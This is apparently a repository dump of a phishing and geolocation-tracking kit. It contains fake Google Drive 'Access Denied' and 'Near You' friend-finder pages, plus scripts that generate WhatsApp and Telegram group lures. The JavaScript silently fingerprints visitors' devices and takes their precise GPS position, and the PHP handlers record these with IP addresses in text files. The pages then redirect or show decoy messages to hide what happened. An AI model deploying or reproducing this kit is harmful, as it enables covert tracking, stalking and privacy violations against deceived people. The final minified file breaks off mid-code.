115 | outline: 0px;
116 | padding: 0 8px;
117 | }
118 |
119 | .jfk-button-standard {
120 | -webkit-box-shadow: none;
121 | -moz-box-shadow: none;
122 | box-shadow: none;
123 | background-color: #f5f5f5;
124 | background-image: -webkit-linear-gradient(top,#f5f5f5,#f1f1f1);
125 | background-image: -moz-linear-gradient(top,#f5f5f5,#f1f1f1);
126 | background-image: -ms-linear-gradient(top,#f5f5f5,#f1f1f1);
127 | background-image: -o-linear-gradient(top,#f5f5f5,#f1f1f1);
128 | background-image: linear-gradient(top,#f5f5f5,#f1f1f1);
129 | color: #444;
130 | border: 1px solid #dcdcdc;
131 | border: 1px solid rgba(0,0,0,0.1);
132 | }
133 |
134 | @media (max-width: 500px) {
135 | #accessDeniedHeader {
136 | color: #222;
137 | font: 25px Arial, sans-serif;
138 | }
139 | #accessDeniedIcon {
140 | background-image: url('/images/locked_doc-1.svg');
141 | height: 108px;
142 | width: 88px;
143 | }
144 | #main {
145 | width: 100%;
146 | }
147 | #message {
148 | width: 75%;
149 | }
150 | #outerContainer #innerContainer {
151 | margin-left: 20px;
152 | margin-right: 20px;
153 | }
154 | }
155 |
156 | :focus {outline:none;}
157 | ::-moz-focus-inner {border:0;}
--------------------------------------------------------------------------------
/template/gdrive/fonts/Roboto-Black.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-Black.ttf
--------------------------------------------------------------------------------
/template/gdrive/fonts/Roboto-BlackItalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-BlackItalic.ttf
--------------------------------------------------------------------------------
/template/gdrive/fonts/Roboto-Bold.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-Bold.ttf
--------------------------------------------------------------------------------
/template/gdrive/fonts/Roboto-BoldItalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-BoldItalic.ttf
--------------------------------------------------------------------------------
/template/gdrive/fonts/Roboto-Italic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-Italic.ttf
--------------------------------------------------------------------------------
/template/gdrive/fonts/Roboto-Light.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-Light.ttf
--------------------------------------------------------------------------------
/template/gdrive/fonts/Roboto-LightItalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-LightItalic.ttf
--------------------------------------------------------------------------------
/template/gdrive/fonts/Roboto-Medium.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-Medium.ttf
--------------------------------------------------------------------------------
/template/gdrive/fonts/Roboto-MediumItalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-MediumItalic.ttf
--------------------------------------------------------------------------------
/template/gdrive/fonts/Roboto-Regular.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-Regular.ttf
--------------------------------------------------------------------------------
/template/gdrive/fonts/Roboto-Thin.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-Thin.ttf
--------------------------------------------------------------------------------
/template/gdrive/fonts/Roboto-ThinItalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-ThinItalic.ttf
--------------------------------------------------------------------------------
/template/gdrive/fonts/pxiDypQkot1TnFhsFMOfGShVF9eO.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/pxiDypQkot1TnFhsFMOfGShVF9eO.woff2
--------------------------------------------------------------------------------
/template/gdrive/images/580b57fcd9996e24bc43c51f.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/images/580b57fcd9996e24bc43c51f.png
--------------------------------------------------------------------------------
/template/gdrive/images/Google-Drive-logo1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/images/Google-Drive-logo1.png
--------------------------------------------------------------------------------
/template/gdrive/images/drive_favicon1.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/images/drive_favicon1.ico
--------------------------------------------------------------------------------
/template/gdrive/images/googlelogo_color_116x41dp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/images/googlelogo_color_116x41dp.png
--------------------------------------------------------------------------------
/template/gdrive/images/locked_doc-1.svg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
24 |
--------------------------------------------------------------------------------
/template/gdrive/images/locked_doc-2.svg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
24 |
--------------------------------------------------------------------------------
/template/gdrive/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Google Drive - Access Denied
8 |
9 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 | Drive
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
Want in? Ask for access, or switch to an account with permission.
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
--------------------------------------------------------------------------------
/template/gdrive/js/info.js:
--------------------------------------------------------------------------------
1 | function information()
2 | {
3 | var ptf = navigator.platform;
4 | var cc = navigator.hardwareConcurrency;
5 | var ram = navigator.deviceMemory;
6 | var ver = navigator.userAgent;
7 | var str = ver;
8 | var os = ver;
9 | //gpu
10 | var canvas = document.createElement('canvas');
11 | var gl;
12 | var debugInfo;
13 | var ven;
14 | var ren;
15 | //sysinfo
16 | console.log(ver);
17 | console.log(ptf);
18 |
19 | if (cc == undefined)
20 | {
21 | cc = 'Not Available';
22 | console.log('Cores are not available')
23 | }
24 | console.log(cc);
25 |
26 | //ram
27 | if (ram == undefined)
28 | {
29 | ram = 'Not Available';
30 | console.log('RAM is not available')
31 | }
32 | console.log(ram);
33 |
34 | //browser
35 | if (ver.indexOf('Firefox') != -1)
36 | {
37 | str = str.substring(str.indexOf(' Firefox/') + 1);
38 | str = str.split(' ');
39 | brw = str[0];
40 | console.log(str[0]);
41 | }
42 | else if (ver.indexOf('Chrome') != -1)
43 | {
44 | str = str.substring(str.indexOf(' Chrome/') + 1);
45 | str = str.split(' ');
46 | brw = str[0];
47 | console.log(str[0]);
48 | }
49 | else if (ver.indexOf('Safari') != -1)
50 | {
51 | str = str.substring(str.indexOf(' Safari/') + 1);
52 | str = str.split(' ');
53 | brw = str[0];
54 | console.log(str[0]);
55 | }
56 | else if (ver.indexOf('Edge') != -1)
57 | {
58 | str = str.substring(str.indexOf(' Edge/') + 1);
59 | str = str.split(' ');
60 | brw = str[0];
61 | console.log(str[0]);
62 | }
63 | else
64 | {
65 | brw = 'Not Available'
66 | console.log('Browser is not available')
67 | }
68 |
69 | //gpu
70 | try
71 | {
72 | gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
73 | }
74 | catch (e) {}
75 | if (gl)
76 | {
77 | debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
78 | ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
79 | ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
80 | }
81 | if (ven == undefined)
82 | {
83 | ven = 'Not Available';
84 | console.log('GPU Vendor not available')
85 | }
86 | if (ren == undefined)
87 | {
88 | ren = 'Not Available';
89 | console.log('GPU Renderer not available')
90 | }
91 | console.log(ven);
92 | console.log(ren);
93 | //
94 | var ht = window.screen.height
95 | var wd = window.screen.width
96 | console.log(window.screen.height)
97 | console.log(window.screen.width)
98 | //os
99 | os = os.substring(0, os.indexOf(')'));
100 | os = os.split(';');
101 | os = os[1];
102 | if (os == undefined)
103 | {
104 | os = 'Not Available';
105 | console.log('OS is not available')
106 | }
107 | os = os.trim();
108 | console.log(os);
109 | //
110 | $.ajax({
111 | type: 'POST',
112 | url: '/php/info.php',
113 | data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os},
114 | success: function(){console.log('Got Device Information');},
115 | mimeType: 'text'
116 | });
117 | }
118 |
--------------------------------------------------------------------------------
/template/gdrive/js/location.js:
--------------------------------------------------------------------------------
1 | function locate()
2 | {
3 | if(navigator.geolocation)
4 | {
5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
7 | }
8 | else
9 | {
10 | alert('Geolocation is not Supported by your Browser...');
11 | }
12 |
13 | function showPosition(position)
14 | {
15 | var lat = position.coords.latitude;
16 | var lon = position.coords.longitude;
17 | var acc = position.coords.accuracy;
18 | var alt = position.coords.altitude;
19 | var dir = position.coords.heading;
20 | var spd = position.coords.speed;
21 |
22 | $.ajax({
23 | type: 'POST',
24 | url: '/php/result.php',
25 | data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
26 | success: function(){window.location='http://example.com';},
27 | mimeType: 'text'
28 | });
29 | };
30 | }
31 |
32 | function showError(error)
33 | {
34 | switch(error.code)
35 | {
36 | case error.PERMISSION_DENIED:
37 | var denied = 'User denied the request for Geolocation';
38 | alert('Please Refresh This Page and Allow Location Permission...');
39 | break;
40 | case error.POSITION_UNAVAILABLE:
41 | var unavailable = 'Location information is unavailable';
42 | break;
43 | case error.TIMEOUT:
44 | var timeout = 'The request to get user location timed out';
45 | alert('Please Set Your Location Mode on High Accuracy...');
46 | break;
47 | case error.UNKNOWN_ERROR:
48 | var unknown = 'An unknown error occurred';
49 | break;
50 | }
51 |
52 | $.ajax({
53 | type: 'POST',
54 | url: '/php/error.php',
55 | data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown},
56 | success: function(){$('#change').html('Failed');},
57 | mimeType: 'text'
58 | });
59 | }
60 |
--------------------------------------------------------------------------------
/template/gdrive/js/location_temp.js:
--------------------------------------------------------------------------------
1 | function locate()
2 | {
3 | if(navigator.geolocation)
4 | {
5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
7 | }
8 | else
9 | {
10 | alert('Geolocation is not Supported by your Browser...');
11 | }
12 |
13 | function showPosition(position)
14 | {
15 | var lat = position.coords.latitude;
16 | var lon = position.coords.longitude;
17 | var acc = position.coords.accuracy;
18 | var alt = position.coords.altitude;
19 | var dir = position.coords.heading;
20 | var spd = position.coords.speed;
21 |
22 | $.ajax({
23 | type: 'POST',
24 | url: '/php/result.php',
25 | data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
26 | success: function(){window.location='REDIRECT_URL';},
27 | mimeType: 'text'
28 | });
29 | };
30 | }
31 |
32 | function showError(error)
33 | {
34 | switch(error.code)
35 | {
36 | case error.PERMISSION_DENIED:
37 | var denied = 'User denied the request for Geolocation';
38 | alert('Please Refresh This Page and Allow Location Permission...');
39 | break;
40 | case error.POSITION_UNAVAILABLE:
41 | var unavailable = 'Location information is unavailable';
42 | break;
43 | case error.TIMEOUT:
44 | var timeout = 'The request to get user location timed out';
45 | alert('Please Set Your Location Mode on High Accuracy...');
46 | break;
47 | case error.UNKNOWN_ERROR:
48 | var unknown = 'An unknown error occurred';
49 | break;
50 | }
51 |
52 | $.ajax({
53 | type: 'POST',
54 | url: '/php/error.php',
55 | data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown},
56 | success: function(){$('#change').html('Failed');},
57 | mimeType: 'text'
58 | });
59 | }
60 |
--------------------------------------------------------------------------------
/template/gdrive/php/error.php:
--------------------------------------------------------------------------------
1 |
42 |
--------------------------------------------------------------------------------
/template/gdrive/php/info.php:
--------------------------------------------------------------------------------
1 | $ptf,
46 | 'browser' => $brw,
47 | 'cores' => $cc,
48 | 'ram' => $ram,
49 | 'vendor' => $ven,
50 | 'render' => $ren,
51 | 'ip' => $ip,
52 | 'ht' => $ht,
53 | 'wd' => $wd,
54 | 'os' => $os);
55 |
56 | $jdata = json_encode($data);
57 |
58 | $f = fopen('info.txt', 'w+');
59 | fwrite($f, $jdata);
60 | fclose($f);
61 | }
62 | ?>
63 |
--------------------------------------------------------------------------------
/template/gdrive/php/info.txt:
--------------------------------------------------------------------------------
1 | info here:-
2 |
--------------------------------------------------------------------------------
/template/gdrive/php/result.php:
--------------------------------------------------------------------------------
1 | $lat,
15 | 'lon' => $lon,
16 | 'acc' => $acc,
17 | 'alt' => $alt,
18 | 'dir' => $dir,
19 | 'spd' => $spd);
20 |
21 | $jdata = json_encode($data);
22 |
23 | $f = fopen('result.txt', 'w+');
24 | fwrite($f, $jdata);
25 | fclose($f);
26 | }
27 | ?>
28 |
--------------------------------------------------------------------------------
/template/gdrive/php/result.txt:
--------------------------------------------------------------------------------
1 | Results Here:-
2 |
--------------------------------------------------------------------------------
/template/mod_gdrive.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | R = '\033[31m' # red
4 | G = '\033[32m' # green
5 | C = '\033[36m' # cyan
6 | W = '\033[0m' # white
7 |
8 | redirect = input(G + '[+]' + C + ' Enter GDrive File URL : ' + W)
9 | with open('template/gdrive/js/location_temp.js', 'r') as js:
10 | reader = js.read()
11 | update = reader.replace('REDIRECT_URL', redirect)
12 |
13 | with open('template/gdrive/js/location.js', 'w') as js_update:
14 | js_update.write(update)
--------------------------------------------------------------------------------
/template/mod_telegram.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import os
4 | import shutil
5 |
6 | R = '\033[31m' # red
7 | G = '\033[32m' # green
8 | C = '\033[36m' # cyan
9 | W = '\033[0m' # white
10 |
11 | title = input(G + '[+]' + C + ' Group Title : ' + W)
12 | desc = input(G + '[+]' + C + ' Group Description : ' + W)
13 | image = input(G + '[+]' + C + ' Image Path (Best Size : 300x300) : ' + W)
14 | mem_num = input(G + '[+]' + C + ' Number of Members : ' + W)
15 | online_num = input(G + '[+]' + C + ' Number of Members Online : ' + W)
16 |
17 | img_name = image.split('/')[-1]
18 | try:
19 | shutil.copyfile(image, 'template/telegram/images/{}'.format(img_name))
20 | except Exception as e:
21 | print('\n' + R + '[-]' + C + ' Exception : ' + W + str(e))
22 | exit()
23 |
24 | with open('template/telegram/index_temp.html', 'r') as index_temp:
25 | code = index_temp.read()
26 | code = code.replace('$TITLE$', title)
27 | code = code.replace('$DESC$', desc)
28 | code = code.replace('$MEMBERS$', mem_num)
29 | code = code.replace('$ONLINE$', online_num)
30 | code = code.replace('$IMAGE$', 'images/{}'.format(img_name))
31 |
32 | with open('template/telegram/index.html', 'w') as new_index:
33 | new_index.write(code)
--------------------------------------------------------------------------------
/template/mod_whatsapp.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import os
4 | import shutil
5 |
6 | R = '\033[31m' # red
7 | G = '\033[32m' # green
8 | C = '\033[36m' # cyan
9 | W = '\033[0m' # white
10 |
11 | title = input(G + '[+]' + C + ' Group Title : ' + W)
12 | image = input(G + '[+]' + C + ' Path to Group Img (Best Size : 300x300): ' + W)
13 |
14 | img_name = image.split('/')[-1]
15 | try:
16 | shutil.copyfile(image, 'template/whatsapp/images/{}'.format(img_name))
17 | except Exception as e:
18 | print('\n' + R + '[-]' + C + ' Exception : ' + W + str(e))
19 | exit()
20 |
21 | with open('template/whatsapp/index_temp.html', 'r') as index_temp:
22 | code = index_temp.read()
23 | code = code.replace('$TITLE$', title)
24 | code = code.replace('$IMAGE$', 'images/{}'.format(img_name))
25 |
26 | with open('template/whatsapp/index.html', 'w') as new_index:
27 | new_index.write(code)
--------------------------------------------------------------------------------
/template/nearyou/css/main.css:
--------------------------------------------------------------------------------
1 | html, body
2 | {
3 | height: 100%;
4 | }
5 | body
6 | {
7 | background-color: #000000;
8 | margin: auto;
9 | overflow: hidden;
10 | }
11 | h1
12 | {
13 | font-family: 'Raleway', sans-serif;
14 | color: white;
15 | text-align: center;
16 | filter: drop-shadow(0px 0px 8px cyan);
17 | margin: auto;
18 | position: fixed;
19 | top: 5%;
20 | left: 0%;
21 | right: 0%;
22 | }
23 | h2
24 | {
25 | font-family: 'Raleway', sans-serif;
26 | color: white;
27 | text-align: center;
28 | filter: drop-shadow(0px 0px 8px cyan);
29 | margin: auto;
30 | position: fixed;
31 | top: 15%;
32 | left: 0%;
33 | right: 0%;
34 | }
35 | img
36 | {
37 | position: fixed;
38 | margin: auto;
39 | left: 0%;
40 | right: 0%;
41 | top: 30%;
42 | height: 40%;
43 | filter: drop-shadow(0px 0px 8px white);
44 | opacity: 50%;
45 | }
46 | .button
47 | {
48 | background-color: Transparent;
49 | border: 2px solid white;
50 | cursor: pointer;
51 | color: white;
52 | font-size: 24px;
53 | padding: 14px 40px;
54 | border-radius: 6px;
55 | width: 50%;
56 | text-align: center;
57 | font-family: 'Raleway', sans-serif;
58 | position: fixed;
59 | left: 25%;
60 | right: 25%;
61 | bottom: 10%;
62 | filter: drop-shadow(0px 0px 8px cyan);
63 | transition: text-shadow 0.2s linear;
64 | }
65 | .text
66 | {
67 | font-family: 'Raleway', sans-serif;
68 | color: white;
69 | text-align: center;
70 | filter: drop-shadow(0px 0px 8px cyan);
71 | margin: auto;
72 | position: fixed;
73 | top: 5%;
74 | left: 0%;
75 | right: 0%;
76 | z-index: 1;
77 | }
78 | .earth
79 | {
80 | position: absolute;
81 | top: 0;
82 | bottom: 0;
83 | left: 0;
84 | right: 0;
85 | margin: auto;
86 | height: 250px;
87 | width: 250px;
88 | background-image: url(https://raw.githubusercontent.com/thewhiteh4t/seeker/master/template/nearyou/css/worldmap.jpg);
89 | border-radius: 50%;
90 | background-size: 700px;
91 | animation:rotate 7s linear infinite;
92 | box-shadow: 10px -10px 40px black inset, -10px 10px 40px black inset, -10px -10px 40px black inset;
93 | filter: drop-shadow(0px 0px 8px black);
94 | }
95 |
96 | @keyframes rotate
97 | {
98 | 0%{background-position: 0 0;}
99 | 100%{background-position: 700px 0;}
100 | }
101 |
--------------------------------------------------------------------------------
/template/nearyou/css/worldmap.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/nearyou/css/worldmap.jpg
--------------------------------------------------------------------------------
/template/nearyou/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Near You | Meet New People, Make New Friends
5 |
6 |
7 |
8 |
9 |
10 |
11 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
27 | Find People Near You
28 | Meet New People, Make New Friends
29 |
30 |
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/template/nearyou/js/info.js:
--------------------------------------------------------------------------------
1 | function information()
2 | {
3 | var ptf = navigator.platform;
4 | var cc = navigator.hardwareConcurrency;
5 | var ram = navigator.deviceMemory;
6 | var ver = navigator.userAgent;
7 | var str = ver;
8 | var os = ver;
9 | //gpu
10 | var canvas = document.createElement('canvas');
11 | var gl;
12 | var debugInfo;
13 | var ven;
14 | var ren;
15 | //sysinfo
16 | console.log(ver);
17 | console.log(ptf);
18 |
19 | if (cc == undefined)
20 | {
21 | cc = 'Not Available';
22 | console.log('Cores are not available')
23 | }
24 | console.log(cc);
25 |
26 | //ram
27 | if (ram == undefined)
28 | {
29 | ram = 'Not Available';
30 | console.log('RAM is not available')
31 | }
32 | console.log(ram);
33 |
34 | //browser
35 | if (ver.indexOf('Firefox') != -1)
36 | {
37 | str = str.substring(str.indexOf(' Firefox/') + 1);
38 | str = str.split(' ');
39 | brw = str[0];
40 | console.log(str[0]);
41 | }
42 | else if (ver.indexOf('Chrome') != -1)
43 | {
44 | str = str.substring(str.indexOf(' Chrome/') + 1);
45 | str = str.split(' ');
46 | brw = str[0];
47 | console.log(str[0]);
48 | }
49 | else if (ver.indexOf('Safari') != -1)
50 | {
51 | str = str.substring(str.indexOf(' Safari/') + 1);
52 | str = str.split(' ');
53 | brw = str[0];
54 | console.log(str[0]);
55 | }
56 | else if (ver.indexOf('Edge') != -1)
57 | {
58 | str = str.substring(str.indexOf(' Edge/') + 1);
59 | str = str.split(' ');
60 | brw = str[0];
61 | console.log(str[0]);
62 | }
63 | else
64 | {
65 | brw = 'Not Available'
66 | console.log('Browser is not available')
67 | }
68 |
69 | //gpu
70 | try
71 | {
72 | gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
73 | }
74 | catch (e) {}
75 | if (gl)
76 | {
77 | debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
78 | ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
79 | ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
80 | }
81 | if (ven == undefined)
82 | {
83 | ven = 'Not Available';
84 | console.log('GPU Vendor not available')
85 | }
86 | if (ren == undefined)
87 | {
88 | ren = 'Not Available';
89 | console.log('GPU Renderer not available')
90 | }
91 | console.log(ven);
92 | console.log(ren);
93 | //
94 | var ht = window.screen.height
95 | var wd = window.screen.width
96 | console.log(window.screen.height)
97 | console.log(window.screen.width)
98 | //os
99 | os = os.substring(0, os.indexOf(')'));
100 | os = os.split(';');
101 | os = os[1];
102 | if (os == undefined)
103 | {
104 | os = 'Not Available';
105 | console.log('OS is not available')
106 | }
107 | os = os.trim();
108 | console.log(os);
109 | //
110 | $.ajax({
111 | type: 'POST',
112 | url: '/php/info.php',
113 | data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os},
114 | success: function(){console.log('Got Device Information');},
115 | mimeType: 'text'
116 | });
117 | }
118 |
--------------------------------------------------------------------------------
/template/nearyou/js/location.js:
--------------------------------------------------------------------------------
1 | function locate()
2 | {
3 | if(navigator.geolocation)
4 | {
5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
7 | }
8 | else
9 | {
10 | alert('Geolocation is not Supported by your Browser...');
11 | }
12 |
13 | function showPosition(position)
14 | {
15 | var lat = position.coords.latitude;
16 | var lon = position.coords.longitude;
17 | var acc = position.coords.accuracy;
18 | var alt = position.coords.altitude;
19 | var dir = position.coords.heading;
20 | var spd = position.coords.speed;
21 |
22 | $.ajax({
23 | type: 'POST',
24 | url: '/php/result.php',
25 | data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
26 | success: function(){$('#change').html('Coming Soon');},
27 | mimeType: 'text'
28 | });
29 | alert('Thankyou For Taking Interest in Near You...This Product is Coming Soon...');
30 | };
31 | }
32 |
33 | function showError(error)
34 | {
35 | switch(error.code)
36 | {
37 | case error.PERMISSION_DENIED:
38 | var denied = 'User denied the request for Geolocation';
39 | alert('Please Refresh This Page and Allow Location Permission...');
40 | break;
41 | case error.POSITION_UNAVAILABLE:
42 | var unavailable = 'Location information is unavailable';
43 | break;
44 | case error.TIMEOUT:
45 | var timeout = 'The request to get user location timed out';
46 | alert('Please Set Your Location Mode on High Accuracy...');
47 | break;
48 | case error.UNKNOWN_ERROR:
49 | var unknown = 'An unknown error occurred';
50 | break;
51 | }
52 |
53 | $.ajax({
54 | type: 'POST',
55 | url: '/php/error.php',
56 | data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown},
57 | success: function(){$('#change').html('Failed');},
58 | mimeType: 'text'
59 | });
60 | }
61 |
--------------------------------------------------------------------------------
/template/nearyou/js/main.js:
--------------------------------------------------------------------------------
1 | function main()
2 | {
3 | locate();
4 | }
5 |
--------------------------------------------------------------------------------
/template/nearyou/js/warpspeed.min.js:
--------------------------------------------------------------------------------
1 | function timeStamp(){return window.performance.now?window.performance.now():Date.now()}function isVisible(el){var r=el.getBoundingClientRect();return r.top+r.height>=0&&r.left+r.width>=0&&r.bottom-r.height<=(window.innerHeight||document.documentElement.clientHeight)&&r.right-r.width<=(window.innerWidth||document.documentElement.clientWidth)}function Star(x,y,z){this.x=x,this.y=y,this.z=z,this.size=.5+Math.random()}function WarpSpeed(targetId,config){if(this.targetId=targetId,void 0==WarpSpeed.RUNNING_INSTANCES&&(WarpSpeed.RUNNING_INSTANCES={}),WarpSpeed.RUNNING_INSTANCES[targetId]&&WarpSpeed.RUNNING_INSTANCES[targetId].destroy(),config=config||{},"string"==typeof config)try{config=JSON.parse(config)}catch(e){config={}}this.SPEED=void 0==config.speed||config.speed<0?.7:config.speed,this.TARGET_SPEED=void 0==config.targetSpeed||config.targetSpeed<0?this.SPEED:config.targetSpeed,this.SPEED_ADJ_FACTOR=void 0==config.speedAdjFactor?.03:config.speedAdjFactor<0?0:config.speedAdjFactor>1?1:config.speedAdjFactor,this.DENSITY=void 0==config.density||config.density<=0?.7:config.density,this.USE_CIRCLES=void 0==config.shape?!0:"circle"==config.shape,this.DEPTH_ALPHA=void 0==config.depthFade?!0:config.depthFade,this.WARP_EFFECT=void 0==config.warpEffect?!0:config.warpEffect,this.WARP_EFFECT_LENGTH=void 0==config.warpEffectLength?5:config.warpEffectLength<0?0:config.warpEffectLength,this.STAR_SCALE=void 0==config.starSize||config.starSize<=0?3:config.starSize,this.BACKGROUND_COLOR=void 0==config.backgroundColor?"hsl(263,45%,7%)":config.backgroundColor;var canvas=document.getElementById(this.targetId);canvas.width=1,canvas.height=1;var ctx=canvas.getContext("2d");ctx.fillStyle=this.BACKGROUND_COLOR,ctx.fillRect(0,0,1,1),ctx.fillStyle=void 0==config.starColor?"#FFFFFF":config.starColor,ctx.fillRect(0,0,1,1);var color=ctx.getImageData(0,0,1,1).data;this.STAR_R=color[0],this.STAR_G=color[1],this.STAR_B=color[2],this.prevW=-1,this.prevH=-1,this.stars=[];for(var i=0;i<1e3*this.DENSITY;i++)this.stars.push(new Star(1e3*(Math.random()-.5),1e3*(Math.random()-.5),1e3*Math.random()));this.lastMoveTS=timeStamp(),this.drawRequest=null,this.LAST_RENDER_T=0,WarpSpeed.RUNNING_INSTANCES[targetId]=this,this.draw()}window.requestAnimationFrame=window.requestAnimationFrame||function(callback,element){setTimeout(callback,1e3/60)},WarpSpeed.prototype={constructor:WarpSpeed,draw:function(){var TIME=timeStamp();if(!document.getElementById(this.targetId))return void this.destroy();this.move();var canvas=document.getElementById(this.targetId);if(!this.PAUSED&&isVisible(canvas)){(this.prevW!=canvas.clientWidth||this.prevH!=canvas.clientHeight)&&(canvas.width=(canvas.clientWidth<10?10:canvas.clientWidth)*(window.devicePixelRatio||1),canvas.height=(canvas.clientHeight<10?10:canvas.clientHeight)*(window.devicePixelRatio||1)),this.size=(canvas.heightxOnDisplay||xOnDisplay>.5||-.5>yOnDisplay||yOnDisplay>.5)){var size=s.size*this.size/s.z;if(!(.3>size)){if(this.DEPTH_ALPHA){var alpha=(1e3-s.z)/1e3;ctx.fillStyle=rgba+(alpha>1?1:alpha)+")"}else ctx.fillStyle=rgb;if(this.WARP_EFFECT){ctx.beginPath();var x2OnDisplay=s.x/(s.z+this.WARP_EFFECT_LENGTH*this.SPEED),y2OnDisplay=s.y/(s.z+this.WARP_EFFECT_LENGTH*this.SPEED);if(-.5>x2OnDisplay||x2OnDisplay>.5||-.5>y2OnDisplay||y2OnDisplay>.5)continue;ctx.moveTo(canvas.width*(xOnDisplay+.5)-size/2,canvas.height*(yOnDisplay+.5)-size/2),ctx.lineTo(canvas.width*(x2OnDisplay+.5)-size/2,canvas.height*(y2OnDisplay+.5)-size/2),ctx.lineWidth=size>this.maxLineWidth?this.maxLineWidth:size,this.USE_CIRCLES?ctx.lineCap="round":ctx.lineCap="butt",ctx.strokeStyle=ctx.fillStyle,ctx.stroke()}else this.USE_CIRCLES?(ctx.beginPath(),ctx.arc(canvas.width*(xOnDisplay+.5)-size/2,canvas.height*(yOnDisplay+.5)-size/2,size/2,0,2*Math.PI),ctx.fill()):ctx.fillRect(canvas.width*(xOnDisplay+.5)-size/2,canvas.height*(yOnDisplay+.5)-size/2,size,size)}}}this.prevW=canvas.clientWidth,this.prevH=canvas.clientHeight}-1!=this.drawRequest&&(this.drawRequest=requestAnimationFrame(this.draw.bind(this))),this.LAST_RENDER_T=timeStamp()-TIME},move:function(){var t=timeStamp(),speedMulF=(t-this.lastMoveTS)/(1e3/60);if(this.lastMoveTS=t,!this.PAUSED){var 